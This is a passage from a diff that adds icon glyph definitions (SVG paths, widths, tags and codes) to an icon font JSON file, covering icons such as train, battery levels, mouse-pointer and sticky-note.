142.286-142.286c3.429-3.429 8-5.143 13.143-5.143 4.571 0 9.143 1.714 12.571 5.143l77.714 77.714c3.429 3.429 5.143 8 5.143 12.571 0 5.143-1.714 9.714-5.143 13.143zM733.143 694.857l-103.429 103.429c-13.714 13.714-21.143 32.571-21.143 52 0 18.857 7.429 37.714 21.143 51.429l47.429 47.429c-8 1.143-16.571 1.714-25.143 1.714h-499.429c-91.429 0-152.571-54.857-152.571-148 0-129.143 30.286-327.429 197.714-327.429 9.143 0 15.429 4 22.286 9.714 54.857 43.429 110.857 69.714 182.286 69.714s127.429-26.286 182.286-69.714c6.857-5.714 13.143-9.714 22.286-9.714 10.857 0 21.714 1.143 32.571 3.429-18.857 18.286-30.857 33.143-30.857 60.571 0 19.429 7.429 38.286 21.143 52z" + ], + "width": 1165.165714285714, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "user-times" + ], + "defaultCode": 62005, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "user-times", + "id": 514, + "order": 1370, + "prevSize": 28, + "code": 62005 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 514 + }, + { + "icon": { + "paths": [ + "M146.286 585.143h987.429c20 0 36.571 16.571 36.571 36.571v256h-146.286v-146.286h-877.714v146.286h-146.286v-694.857c0-20 16.571-36.571 36.571-36.571h73.143c20 0 36.571 16.571 36.571 36.571v402.286zM475.429 402.286c0-80.571-65.714-146.286-146.286-146.286s-146.286 65.714-146.286 146.286 65.714 146.286 146.286 146.286 146.286-65.714 146.286-146.286zM1170.286 548.571v-36.571c0-121.143-98.286-219.429-219.429-219.429h-402.286c-20 0-36.571 16.571-36.571 36.571v219.429h658.286z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bed", + "hotel" + ], + "defaultCode": 62006, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bed, hotel", + "id": 515, + "order": 1371, + "prevSize": 28, + "code": 62006 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 515 + }, + { + "icon": { + "paths": [ + "M877.714 0l-109.714 256h109.714v109.714h-156.571l-31.429 73.143h188v109.714h-234.857l-204 475.429-204-475.429h-234.857v-109.714h188l-31.429-73.143h-156.571v-109.714h109.714l-109.714-256h146.286l184.571 438.857h216l184.571-438.857h146.286zM438.857 694.857l61.714-146.286h-123.429z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "viacoin" + ], + "defaultCode": 62007, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "viacoin", + "id": 516, + "order": 1372, + "prevSize": 28, + "code": 62007 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 516 + }, + { + "icon": { + "paths": [ + "M621.714 0c141.143 0 256 81.714 256 182.857v512c0 98.857-109.143 178.857-246.286 182.286l121.714 115.429c12 11.429 4 31.429-12.571 31.429h-603.429c-16.571 0-24.571-20-12.571-31.429l121.714-115.429c-137.143-3.429-246.286-83.429-246.286-182.286v-512c0-101.143 114.857-182.857 256-182.857h365.714zM438.857 768c60.571 0 109.714-49.143 109.714-109.714s-49.143-109.714-109.714-109.714-109.714 49.143-109.714 109.714 49.143 109.714 109.714 109.714zM768 438.857v-292.571h-658.286v292.571h658.286z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "train" + ], + "defaultCode": 62008, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "train", + "id": 517, + "order": 1373, + "prevSize": 28, + "code": 62008 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 517 + }, + { + "icon": { + "paths": [ + "M621.714 0c141.143 0 256 81.714 256 182.857v512c0 98.857-109.143 178.857-246.286 182.286l121.714 115.429c12 11.429 4 31.429-12.571 31.429h-603.429c-16.571 0-24.571-20-12.571-31.429l121.714-115.429c-137.143-3.429-246.286-83.429-246.286-182.286v-512c0-101.143 114.857-182.857 256-182.857h365.714zM164.571 749.714c50.286 0 91.429-41.143 91.429-91.429s-41.143-91.429-91.429-91.429-91.429 41.143-91.429 91.429 41.143 91.429 91.429 91.429zM402.286 438.857v-292.571h-310.857v292.571h310.857zM713.143 749.714c50.286 0 91.429-41.143 91.429-91.429s-41.143-91.429-91.429-91.429-91.429 41.143-91.429 91.429 41.143 91.429 91.429 91.429zM804.571 438.857v-292.571h-329.143v292.571h329.143z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "subway" + ], + "defaultCode": 62009, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "subway", + "id": 518, + "order": 1374, + "prevSize": 28, + "code": 62009 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 518 + }, + { + "icon": { + "paths": [ + "M341.143 240.571v670.286c0 17.714-8.571 34.286-28 34.286-6.857 0-13.143-1.714-18.857-4.571l-265.714-133.143c-16-8-28.571-28.571-28.571-45.714v-651.429c0-14.286 6.857-27.429 22.286-27.429 9.143 0 17.143 4.571 25.143 8.571l292 146.286c0.571 0.571 1.714 2.286 1.714 2.857zM377.714 298.286l305.143 494.857-305.143-152v-342.857zM1024 308.571v602.286c0 18.857-10.857 32-29.714 32-9.714 0-18.857-2.857-26.857-7.429l-252-125.714zM1022.286 240c0 2.286-295.429 481.714-318.286 518.286l-222.857-362.286 185.143-301.143c6.286-10.286 17.714-16 29.714-16 5.143 0 10.286 1.143 14.857 3.429l309.143 154.286c1.143 0.571 2.286 1.714 2.286 3.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "medium" + ], + "defaultCode": 62010, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "medium", + "id": 519, + "order": 1375, + "prevSize": 28, + "code": 62010 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 519 + }, + { + "icon": { + "paths": [ + "M462.286 573.714l152-285.143h-64l-89.714 178.286s-13.714 27.429-25.143 52.571c-10.857-26.286-24-52.571-24-52.571l-88.571-178.286h-68.571l150.286 281.714v185.143h57.714v-181.714zM877.714 73.143v877.714h-877.714v-877.714h877.714z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "y-combinator", + "yc" + ], + "defaultCode": 62011, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "y-combinator, yc", + "id": 520, + "order": 1376, + "prevSize": 28, + "code": 62011 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 520 + }, + { + "icon": { + "paths": [ + "M273.143 957.143c-5.714 12-22.286 28.571-36.571 34.286-20 6.857-44.571-6.286-45.714-20-1.143-17.714 42.857-49.714 61.714-53.143 18.286-3.429 26.857 24 20.571 38.857zM1039.429 957.143c5.143 12 21.714 28.571 36.571 34.286 19.429 6.857 44.571-6.286 45.143-20 1.714-17.714-42.857-49.714-61.714-53.143-17.714-3.429-26.286 24-20 38.857zM1066.857 894.857c10.286 20.571 50.857 50.857 76.571 57.714 34.857 9.714 68-6.857 68-31.429 0-37.714-71.429-88-104.571-91.429-31.429-4-52 40.571-40 65.143zM244.571 894.857c-10.286 20.571-50.286 50.857-76 57.714-34.857 9.714-68-6.857-68-31.429 0-37.714 71.429-88 104.571-91.429 31.429-4 52 40.571 39.429 65.143zM661.714 252.571h0.571c-15.429 0-30.286 2.857-43.429 8.571 20 6.286 34.857 24.571 34.857 45.714 0 26.857-23.429 48.571-52.571 48.571-19.429 0-36.571-10.286-45.714-24.571-1.714 8-2.857 15.429-2.857 24 0 56.571 48.571 102.286 109.143 102.286s109.714-45.714 109.714-102.286-49.143-102.286-109.714-102.286zM835.429 128c-75.429-82.857-172-101.143-266.286-49.714 53.143-118.857 258.286-102.857 266.286 49.714zM1264 836c2.857 4-0.571 14.286-6.286 24 2.286 7.429 4 14.857 4 22.857 1.714 66.857-93.714 135.429-155.429 137.714-36.571 1.714-73.143-17.714-90.286-49.714-240 8.571-480 10.286-719.429 0-17.714 32-54.286 50.857-90.857 49.714-61.143-2.286-156.571-70.857-155.429-137.714 0.571-8 1.714-15.429 4-22.857-5.714-9.714-9.143-20-6.286-24 2.286-3.429 9.714-3.429 17.714-0.571 6.857-10.857 14.857-20 23.429-29.143-2.286-9.714-2.286-18.286 1.143-21.714 4-3.429 13.143-2.286 22.286 2.286 9.714-6.857 21.143-13.714 33.714-19.429 0-10.286 2.857-18.286 7.429-21.143 6.857-3.429 18.857-1.143 29.143 9.143 12-1.714 24-1.714 34.857 1.143 7.429 1.714 14.857 5.714 21.714 10.857v-41.714c-3.429 0-6.286 0-10.286-1.143-37.143-6.857-77.714-32.571-86.857-75.429-3.429-14.286-3.429-29.714 0-46.286 6.857-28.571 31.429-45.143 53.143-54.286 1.714-12.571 17.143-29.714 31.429-33.714 16-4 26.286 9.714 29.714 21.714h7.429c10.286 1.143 26.857 3.429 34.286 13.143 1.143 1.143 2.286 2.857 2.857 4 11.429-1.143 23.429-2.857 34.857-4-5.143-4-10.857-7.429-17.143-9.714-10.857-18.857-29.143-23.429-52-24.571 0-1.714 0-3.429 0.571-5.714-41.714-1.143-93.143-12-116-37.714-26.286-29.143-30.857-78.857-25.714-116.571 4.571-37.143 20-80 51.429-102.286 17.714-12 45.714-1.714 48 20.571 1.143 9.714 2.857 42.857 12 48 10.286 5.143 26.857 7.429 43.429 6.857 17.143-16.571 35.429-30.857 56-42.286-31.429-2.857-61.143 3.429-92.571 8l26.857-26.286c26.286-25.143 61.143-46.857 93.143-63.429 49.714-25.143 105.714-44 161.143-49.143-39.429-16.571-84.571-25.143-126.286-34.857 161.714-34.286 369.143-46.857 516.571 79.429 38.286 32.571 68.571 76.571 90.286 126.857 23.429 2.857 53.143 3.429 69.143-5.143h0.571c9.143-5.143 10.857-37.714 12-48 2.286-21.714 30.286-32.571 48-20 31.429 22.286 46.857 65.143 52 101.714 4.571 37.714 0.571 87.429-26.286 116.571-22.857 25.714-72.571 37.143-113.714 38.286v5.714c-23.429 0.571-42.857 5.143-54.286 24.571-6.286 2.286-12 5.714-17.714 9.714 12 1.143 24 2.857 35.429 4 0.571-1.714 1.714-3.429 2.857-4.571 8-9.143 24.571-12 34.286-13.143h7.429c3.429-11.429 14.286-25.143 29.714-21.714s29.714 21.143 31.429 33.714c22.857 9.143 46.857 25.714 53.143 54.286 4 17.143 3.429 32 0.571 46.286-9.714 42.857-50.286 69.143-87.429 75.429-2.857 0.571-6.857 1.143-9.714 1.143 0 14.286 0 28-0.571 41.714 6.857-5.143 13.714-9.143 21.714-10.857 10.857-2.857 22.857-2.857 34.857-1.143 10.286-10.286 22.857-12.571 29.143-9.143 4.571 2.857 8 10.857 8 21.143 12 5.714 24 12.571 33.714 19.429 9.143-4.571 17.714-5.714 21.714-2.286 3.429 3.429 4 12 1.143 21.714 8.571 9.143 17.143 18.857 23.429 29.143 8-2.857 14.857-2.857 17.714 0.571zM1106.857 292c0 13.143-2.857 24.571-5.143 30.857 36.571 14.286 55.429 46.857 64 75.429 2.286-22.286-5.714-83.429-29.143-108-15.429-15.429-29.714-10.857-29.714 1.714zM1062.286 349.143v0c27.429 33.143 36 88 26.857 133.143 22.857-4.571 43.429-13.143 55.429-25.714 4-4.571 8-10.286 10.286-16-2.286-45.143-21.714-90.286-62.857-103.429-6.857 6.857-19.429 10.286-29.714 12v0zM1041.143 351.429c-8 0-17.143 0-25.143-0.571 16 43.429 26.286 90.286 30.286 136.571 7.429 0 16-0.571 24.571-1.714 12.571-51.429-0.571-109.143-29.714-134.286zM147.429 398.286c8.571-28.571 27.429-61.143 64-75.429-2.286-6.286-5.143-17.714-5.143-30.857 0-12.571-14.857-17.143-29.714-1.714-24 24.571-31.429 85.714-29.143 108zM168 456.571c12 13.143 32.571 21.143 55.429 25.714-9.143-45.143-0.571-100 26.857-133.143v0 0 0c-10.286-1.714-22.857-5.143-29.714-12-41.143 13.143-60 58.286-62.857 103.429 2.857 5.714 6.286 11.429 10.286 16zM269.143 487.429c5.143-46.857 19.429-92.571 41.714-134.286-10.857 2.286-21.143 6.286-31.429 10.286l-25.714 10.857v-0.571c-15.429 29.714-21.143 72.571-11.429 112 9.714 1.143 18.286 1.714 26.857 1.714zM819.429 509.714v0c7.429 37.714 10.286 75.429 16 113.143 2.286 13.143 6.286 16 18.857 9.714 33.714-17.143 48-82.857 48.571-120.571-27.429-1.714-55.429-1.714-83.429-2.286zM658.286 143.429c-88.571 0-161.143 72-161.143 160.571 0 89.143 72.571 161.143 161.143 161.143s161.143-72 161.143-161.143c0-88.571-72.571-160.571-161.143-160.571zM788.571 508.571c-40-0.571-80.571-0.571-120.571 0v-0.571c-0.571 10.857 0.571 80.571 9.143 86.857 23.429 11.429 83.429 9.714 108 2.286 11.429-3.429 5.143-78.286 3.429-88.571zM635.429 622.286c9.714-5.143 5.143-96 2.857-113.714v-0.571c-41.143 0.571-81.714 0.571-122.286 1.714-4 19.429-9.714 103.429 4 109.143 27.429 12 88 10.857 115.429 3.429zM410.286 514.286c-11.429 41.714 0.571 95.429 46.857 116 11.429 5.143 18.286 5.143 20.571-9.143 4-18.286 5.143-77.714 10.286-110.286v0c-25.714 0.571-52 1.714-77.714 3.429zM337.714 586.286c1.143 10.286-8 16.571-19.429 20.571 92.571 99.429 196 181.143 329.714 225.143 142.857-40.571 244.571-126.857 345.143-226.286-10.286-4-18.286-10.857-17.143-19.429 0.571-2.286 1.143-3.429 1.714-5.143v0 0c-18.857-1.714-37.714-4-56-5.714-20 69.714-76 112-98.857 66.857-5.714-10.857-7.429-24.571-9.714-35.429-8 17.714-28 17.143-52 18.857-28 2.286-66.857 2.857-93.143-6.286-6.286 27.429-23.429 27.429-56.571 30.286-29.714 2.857-102.857 8.571-116-22.857-2.286 60.571-74.286 21.143-95.429-14.857-6.857-12-11.429-24-14.857-37.143-16.571 1.714-33.143 3.429-49.714 5.714 1.143 1.714 1.714 4 2.286 5.714zM289.714 945.143c1.143-5.143 1.714-10.857 1.714-17.143-12-49.143-39.429-105.143-70.857-114.286-47.429-14.286-145.714 49.714-140 115.429 26.857 41.143 84.571 75.429 125.143 77.143 37.714 1.714 76-23.429 84-61.143zM291.429 847.429c6.857 18.857 13.714 44 15.429 68 70.857-41.143 146.286-75.429 224-99.429-81.714-43.429-144-101.143-205.714-162.857-4.571 2.857-10.857 5.143-16.571 7.429-0.571 1.714-0.571 3.429-1.143 5.143 9.714 5.714 16.571 12.571 12.571 21.143-4.571 8.571-18.286 16-32 19.429-4.571 5.714-10.857 10.286-16.571 13.714h-0.571c-0.571 28.571-0.571 57.143 0.571 85.714 8 14.286 14.857 29.143 20 41.714zM330.857 942.286c218.286 8.571 436.571 7.429 654.286 0-77.714-45.143-156.571-87.429-244.571-112-29.143 13.143-58.857 24-89.143 32.571-4.571 1.714-4.571 1.714-9.143 0-25.143-8-49.143-17.143-73.714-28-85.143 24.571-163.429 61.714-237.714 107.429h-0.571v0.571c0.571 0 0.571 0 0.571-0.571zM1007.429 916c1.714-24 9.143-49.714 16-68.571 4.571-12.571 10.857-26.857 18.857-40.571l-0.571 0.571c1.143-29.143 1.714-58.286 1.714-87.429-6.286-3.429-12-8.571-17.143-14.286-13.714-2.857-27.429-10.857-32-18.857-4-8.571 2.857-16 12.571-21.714-0.571-1.143-1.143-3.429-1.143-5.143-6.286-1.714-11.429-4-16-6.857-66.857 62.286-138.286 120-218.857 162.286 82.286 24.571 160.571 59.429 236.571 100.571zM1231.429 929.143c6.286-65.714-92-129.714-140-115.429-30.857 9.143-58.857 65.143-70.857 114.286 0 6.286 0.571 12 1.714 17.143 8 37.714 46.286 62.857 84 61.143 40.571-1.714 98.286-36 125.143-77.143z" + ], + "width": 1311.9634285714285, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "optin-monster" + ], + "defaultCode": 62012, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "optin-monster", + "id": 521, + "order": 1377, + "prevSize": 28, + "code": 62012 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 521 + }, + { + "icon": { + "paths": [ + "M870.857 892c0 52-41.714 93.714-93.714 93.714s-94.286-41.714-94.286-93.714 42.286-94.286 94.286-94.286 93.714 42.286 93.714 94.286zM442.857 892c0 52-42.286 93.714-94.286 93.714s-93.714-41.714-93.714-93.714 41.714-94.286 93.714-94.286 94.286 42.286 94.286 94.286zM0 38.286c168.571 177.714 326.857 204 948.571 204s348.571 138.286-35.429 481.143c121.714-211.429 540-398.857-145.714-388.571-657.714 9.714-696.571-190.286-767.429-296.571z" + ], + "width": 1570.304, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "opencart" + ], + "defaultCode": 62013, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "opencart", + "id": 522, + "order": 1378, + "prevSize": 28, + "code": 62013 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 522 + }, + { + "icon": { + "paths": [ + "M512 36.571c-262.286 0-475.429 213.143-475.429 475.429s213.143 475.429 475.429 475.429 475.429-213.143 475.429-475.429-213.143-475.429-475.429-475.429zM512 0c282.857 0 512 229.143 512 512s-229.143 512-512 512-512-229.143-512-512 229.143-512 512-512zM283.429 475.429c5.143 0 9.143 4 9.143 9.143v274.286c0 5.143-4 9.143-9.143 9.143h-18.286c-5.143 0-9.143-4-9.143-9.143v-274.286c0-5.143 4-9.143 9.143-9.143h18.286zM512 512c40.571 0 73.143 32.571 73.143 73.143 0 26.857-14.857 50.286-36.571 62.857v65.143c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-65.143c-21.714-12.571-36.571-36-36.571-62.857 0-40.571 32.571-73.143 73.143-73.143zM512 73.143c242.286 0 438.857 196.571 438.857 438.857s-196.571 438.857-438.857 438.857-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857zM310.857 347.429v54.857c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286v-54.857c0-70.857 57.143-128 128-128s128 57.143 128 128v54.857c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286v-54.857c0-110.857-90.286-201.143-201.143-201.143s-201.143 90.286-201.143 201.143zM804.571 768v-292.571c0-20-16.571-36.571-36.571-36.571h-512c-20 0-36.571 16.571-36.571 36.571v292.571c0 20 16.571 36.571 36.571 36.571h512c20 0 36.571-16.571 36.571-36.571z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "expeditedssl" + ], + "defaultCode": 62014, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "expeditedssl", + "id": 523, + "order": 1379, + "prevSize": 28, + "code": 62014 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 523 + }, + { + "icon": { + "paths": [ + "M1097.143 292.571v438.857h-950.857v-438.857h950.857zM1170.286 621.714h73.143v-219.429h-73.143v-164.571c0-10.286-8-18.286-18.286-18.286h-1060.571c-10.286 0-18.286 8-18.286 18.286v548.571c0 10.286 8 18.286 18.286 18.286h1060.571c10.286 0 18.286-8 18.286-18.286v-164.571zM1316.571 402.286v219.429c0 40.571-32.571 73.143-73.143 73.143v91.429c0 50.286-41.143 91.429-91.429 91.429h-1060.571c-50.286 0-91.429-41.143-91.429-91.429v-548.571c0-50.286 41.143-91.429 91.429-91.429h1060.571c50.286 0 91.429 41.143 91.429 91.429v91.429c40.571 0 73.143 32.571 73.143 73.143z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "battery", + "battery-4", + "battery-full" + ], + "defaultCode": 62016, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "battery, battery-4, battery-full", + "id": 524, + "order": 1380, + "prevSize": 28, + "code": 62016 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 524 + }, + { + "icon": { + "paths": [ + "M146.286 731.429v-438.857h731.429v438.857h-731.429zM1243.429 329.143c40.571 0 73.143 32.571 73.143 73.143v219.429c0 40.571-32.571 73.143-73.143 73.143v91.429c0 50.286-41.143 91.429-91.429 91.429h-1060.571c-50.286 0-91.429-41.143-91.429-91.429v-548.571c0-50.286 41.143-91.429 91.429-91.429h1060.571c50.286 0 91.429 41.143 91.429 91.429v91.429zM1243.429 621.714v-219.429h-73.143v-164.571c0-10.286-8-18.286-18.286-18.286h-1060.571c-10.286 0-18.286 8-18.286 18.286v548.571c0 10.286 8 18.286 18.286 18.286h1060.571c10.286 0 18.286-8 18.286-18.286v-164.571h73.143z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "battery-3", + "battery-three-quarters" + ], + "defaultCode": 62017, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "battery-3, battery-three-quarters", + "id": 525, + "order": 1381, + "prevSize": 28, + "code": 62017 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 525 + }, + { + "icon": { + "paths": [ + "M146.286 731.429v-438.857h512v438.857h-512zM1243.429 329.143c40.571 0 73.143 32.571 73.143 73.143v219.429c0 40.571-32.571 73.143-73.143 73.143v91.429c0 50.286-41.143 91.429-91.429 91.429h-1060.571c-50.286 0-91.429-41.143-91.429-91.429v-548.571c0-50.286 41.143-91.429 91.429-91.429h1060.571c50.286 0 91.429 41.143 91.429 91.429v91.429zM1243.429 621.714v-219.429h-73.143v-164.571c0-10.286-8-18.286-18.286-18.286h-1060.571c-10.286 0-18.286 8-18.286 18.286v548.571c0 10.286 8 18.286 18.286 18.286h1060.571c10.286 0 18.286-8 18.286-18.286v-164.571h73.143z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "battery-2", + "battery-half" + ], + "defaultCode": 62018, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "battery-2, battery-half", + "id": 526, + "order": 1382, + "prevSize": 28, + "code": 62018 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 526 + }, + { + "icon": { + "paths": [ + "M146.286 731.429v-438.857h292.571v438.857h-292.571zM1243.429 329.143c40.571 0 73.143 32.571 73.143 73.143v219.429c0 40.571-32.571 73.143-73.143 73.143v91.429c0 50.286-41.143 91.429-91.429 91.429h-1060.571c-50.286 0-91.429-41.143-91.429-91.429v-548.571c0-50.286 41.143-91.429 91.429-91.429h1060.571c50.286 0 91.429 41.143 91.429 91.429v91.429zM1243.429 621.714v-219.429h-73.143v-164.571c0-10.286-8-18.286-18.286-18.286h-1060.571c-10.286 0-18.286 8-18.286 18.286v548.571c0 10.286 8 18.286 18.286 18.286h1060.571c10.286 0 18.286-8 18.286-18.286v-164.571h73.143z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "battery-1", + "battery-quarter" + ], + "defaultCode": 62019, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "battery-1, battery-quarter", + "id": 527, + "order": 1383, + "prevSize": 28, + "code": 62019 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 527 + }, + { + "icon": { + "paths": [ + "M1243.429 329.143c40.571 0 73.143 32.571 73.143 73.143v219.429c0 40.571-32.571 73.143-73.143 73.143v91.429c0 50.286-41.143 91.429-91.429 91.429h-1060.571c-50.286 0-91.429-41.143-91.429-91.429v-548.571c0-50.286 41.143-91.429 91.429-91.429h1060.571c50.286 0 91.429 41.143 91.429 91.429v91.429zM1243.429 621.714v-219.429h-73.143v-164.571c0-10.286-8-18.286-18.286-18.286h-1060.571c-10.286 0-18.286 8-18.286 18.286v548.571c0 10.286 8 18.286 18.286 18.286h1060.571c10.286 0 18.286-8 18.286-18.286v-164.571h73.143z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "battery-0", + "battery-empty" + ], + "defaultCode": 62020, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "battery-0, battery-empty", + "id": 528, + "order": 1384, + "prevSize": 28, + "code": 62020 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 528 + }, + { + "icon": { + "paths": [ + "M647.429 596c10.857 10.286 13.714 26.286 8 39.429-5.714 13.714-18.857 22.857-33.714 22.857h-218.286l114.857 272c8 18.857-1.143 40-19.429 48l-101.143 42.857c-18.857 8-40-1.143-48-19.429l-109.143-258.286-178.286 178.286c-6.857 6.857-16 10.857-25.714 10.857-4.571 0-9.714-1.143-13.714-2.857-13.714-5.714-22.857-18.857-22.857-33.714v-859.429c0-14.857 9.143-28 22.857-33.714 4-1.714 9.143-2.857 13.714-2.857 9.714 0 18.857 3.429 25.714 10.857z" + ], + "width": 661.1382857142856, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "mouse-pointer" + ], + "defaultCode": 62021, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "mouse-pointer", + "id": 529, + "order": 1385, + "prevSize": 28, + "code": 62021 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 529 + }, + { + "icon": { + "paths": [ + "M475.429 73.143c-121.143 0-182.857 42.857-182.857 128v237.714h73.143v73.143h-73.143v310.857c0 85.143 61.714 128 182.857 128h36.571v73.143h-36.571c-102.857 0-178.286-29.714-219.429-83.429-41.143 53.714-116.571 83.429-219.429 83.429h-36.571v-73.143h36.571c121.143 0 182.857-42.857 182.857-128v-310.857h-73.143v-73.143h73.143v-237.714c0-85.143-61.714-128-182.857-128h-36.571v-73.143h36.571c102.857 0 178.286 29.714 219.429 83.429 41.143-53.714 116.571-83.429 219.429-83.429h36.571v73.143h-36.571z" + ], + "width": 512, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "i-cursor" + ], + "defaultCode": 62022, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "i-cursor", + "id": 530, + "order": 1386, + "prevSize": 28, + "code": 62022 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 530 + }, + { + "icon": { + "paths": [ + "M1170.286 219.429h-73.143v585.143h73.143v219.429h-219.429v-73.143h-731.429v73.143h-219.429v-219.429h73.143v-585.143h-73.143v-219.429h219.429v73.143h731.429v-73.143h219.429v219.429zM1024 73.143v73.143h73.143v-73.143h-73.143zM73.143 73.143v73.143h73.143v-73.143h-73.143zM146.286 950.857v-73.143h-73.143v73.143h73.143zM950.857 877.714v-73.143h73.143v-585.143h-73.143v-73.143h-731.429v73.143h-73.143v585.143h73.143v73.143h731.429zM1097.143 950.857v-73.143h-73.143v73.143h73.143zM731.429 365.714h219.429v438.857h-512v-146.286h-219.429v-438.857h512v146.286zM292.571 585.143h365.714v-292.571h-365.714v292.571zM877.714 731.429v-292.571h-146.286v219.429h-219.429v73.143h365.714z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "object-group" + ], + "defaultCode": 62023, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "object-group", + "id": 531, + "order": 1387, + "prevSize": 28, + "code": 62023 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 531 + }, + { + "icon": { + "paths": [ + "M1316.571 438.857h-73.143v365.714h73.143v219.429h-219.429v-73.143h-512v73.143h-219.429v-219.429h73.143v-73.143h-219.429v73.143h-219.429v-219.429h73.143v-365.714h-73.143v-219.429h219.429v73.143h512v-73.143h219.429v219.429h-73.143v73.143h219.429v-73.143h219.429v219.429zM1170.286 292.571v73.143h73.143v-73.143h-73.143zM804.571 73.143v73.143h73.143v-73.143h-73.143zM73.143 73.143v73.143h73.143v-73.143h-73.143zM146.286 731.429v-73.143h-73.143v73.143h73.143zM877.714 658.286h-73.143v73.143h73.143v-73.143zM219.429 658.286h512v-73.143h73.143v-365.714h-73.143v-73.143h-512v73.143h-73.143v365.714h73.143v73.143zM512 950.857v-73.143h-73.143v73.143h73.143zM1243.429 950.857v-73.143h-73.143v73.143h73.143zM1170.286 804.571v-365.714h-73.143v-73.143h-219.429v219.429h73.143v219.429h-219.429v-73.143h-219.429v73.143h73.143v73.143h512v-73.143h73.143z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "object-ungroup" + ], + "defaultCode": 62024, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "object-ungroup", + "id": 532, + "order": 1388, + "prevSize": 28, + "code": 62024 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 532 + }, + { + "icon": { + "paths": [ + "M585.143 713.143v237.714h-530.286c-30.286 0-54.857-24.571-54.857-54.857v-768c0-30.286 24.571-54.857 54.857-54.857h768c30.286 0 54.857 24.571 54.857 54.857v530.286h-237.714c-30.286 0-54.857 24.571-54.857 54.857zM658.286 731.429h217.714c-5.143 27.429-20 58.286-37.143 75.429l-105.143 105.143c-17.143 17.143-48 32-75.429 37.143v-217.714z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sticky-note" + ], + "defaultCode": 62025, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "sticky-note", + "id": 533, + "order": 1389, + "prevSize": 28, + "code": 62025 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 533 + }, + { + "icon": { + "paths": [ + "M800 731.429h-141.714v141.714c9.714-3.429 19.429-8.571 23.429-12.571l105.714-105.714c4-4 9.143-13.714 12.571-23.429zM640 658.286h164.571v-512h-731.429v731.429h512v-164.571c0-30.286 24.571-54.857 54.857-54.857zM877.714 128v585.143c0 30.286-17.714 72.571-38.857 93.714l-105.143 105.143c-21.143 21.143-63.429 38.857-93.714 38.857h-585.143c-30.286 0-54.857-24.571-54.857-54.857v-768c0-30.286 24.571-54.857 